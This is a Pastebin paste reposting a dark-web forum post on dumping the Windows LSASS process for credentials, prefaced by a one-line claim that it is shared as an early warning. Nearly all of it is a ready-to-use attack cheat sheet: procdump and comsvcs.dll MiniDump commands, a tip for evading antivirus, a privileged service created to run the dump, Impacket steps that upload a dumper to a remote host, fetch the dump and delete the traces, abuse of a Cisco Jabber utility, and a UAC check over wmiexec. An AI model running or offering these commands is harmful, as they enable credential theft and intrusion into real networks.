RakeshKrish

Lsass Dumping

Apr 26th, 2021
844
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.81 KB | None | 0 0
  1. NOTE:- This post is found on a Dark Web Forum where the actor discussing about dumping LSASS process in Windows. This would be helpful for Ransomware or any malicious groups. Here by sharing it "FOR EDUCATIONAL PURPOSE", an Early Warning and implement proper measures to thwart such attempts.
  2.  
  3. Options for dumping lsass.exe
  4.  
  5. #############################
  6. Options for dumping lsass.exe
  7. #############################
  8.  
  9. Procdump.exe can be obtained @ http://live.sysinternals.com/
  10.  
  11. procdump.exe -accepteula -ma lsass.exe lsass.dmp
  12.  
  13. -ma = FullDump
  14. -mp = MiniDump
  15.  
  16. You may be able to trick Windows Defender/Antivirus by replacing lsass.exe with the PID (624 in this example)
  17.  
  18. procdump.exe -accepteula -mp 624 lsassmini.dmp
  19.  
  20. You can get the PID of lsass.exe by typing the Windows command: tasklist
  21.  
  22. Other options:
  23.  
  24. rundll32.exe C:\windows\System32\comsvcs.dll, MiniDump 624 C:\temp\lsass.dmp full
  25. 624 was the PID when viewed through Task Manager
  26.  
  27. Rundll32.exe C:\Windows\System32\comsvcs.dll, MiniDump (PID) dump.bin full
  28.  
  29. Powershell -c rundll32.exe C:\Windows\System32\comsvcs.dll, MiniDump (PID) dump.bin full
  30.  
  31. You can use Windows Service Control to create a service that runs the command, assigns debug privileges to the service, and then runs it:
  32.  
  33. sc create test binpath="rundll32.exe C:\Windows\System32\comsvcs.dll, MiniDump (PID) dump.bin full"
  34. sc create test binpath="rundll32.exe C:\Windows\System32\comsvcs.dll, MiniDump 856 dump.bin full"
  35. sc privs test SeDebugPrivilege
  36. sc start test
  37.  
  38. ##################
  39. Use Impacket Tools
  40. ##################
  41.  
  42. Open terminal:
  43. smbclient.py DOM.LOCAL/[email protected]
  44. # use C$
  45. # cd Windows
  46. # cd Temp
  47. # put procdump.exe
  48.  
  49. Open another terminal for psexec.py:
  50. psexec.py DOM.LOCAL/[email protected] "C:\\Windows\\Temp\\procdump.exe -accepteula -ma 856 C:\\Windows\\Temp\\lsass.dmp"
  51.  
  52. Go back to first terminal:
  53. # get lsass.dmp
  54. # del procdump.exe
  55. # del lsass.dmp
  56.  
  57. ############################
  58. Cisco Jabber ProcessDump.exe
  59. ############################
  60.  
  61. Jabber comes with a utility called ProcessDump.exe that you can use to dump LSASS.
  62. cd c:\program files (x86)\cisco systems\cisco jabber\x64\
  63. processdump.exe (ps lsass).id c:\temp\lsass.dmp
  64.  
  65. ########################
  66. Check if UAC is disabled
  67. ########################
  68.  
  69. This will tell you if you will be prompted for administrator credentials.
  70.  
  71. $ wmiexec.py DOM.LOCAL/[email protected]
  72.  
  73. Password: *****
  74. [*] SMBv3.0 dialect used
  75. [!] Launching semi-interactive shell - Careful what you execute
  76. [!] Press help for extra shell commands
  77. C:\>REG QUERY HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System\ /v EnableLUA
  78.  
  79. HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System
  80. EnableLUA REG_DWORD 0x0
  81.  
  82. 0x0 shows that it's disabled
  83. 0x1 shows that it's enabled
Advertisement
Add Comment
Please, Sign In to add comment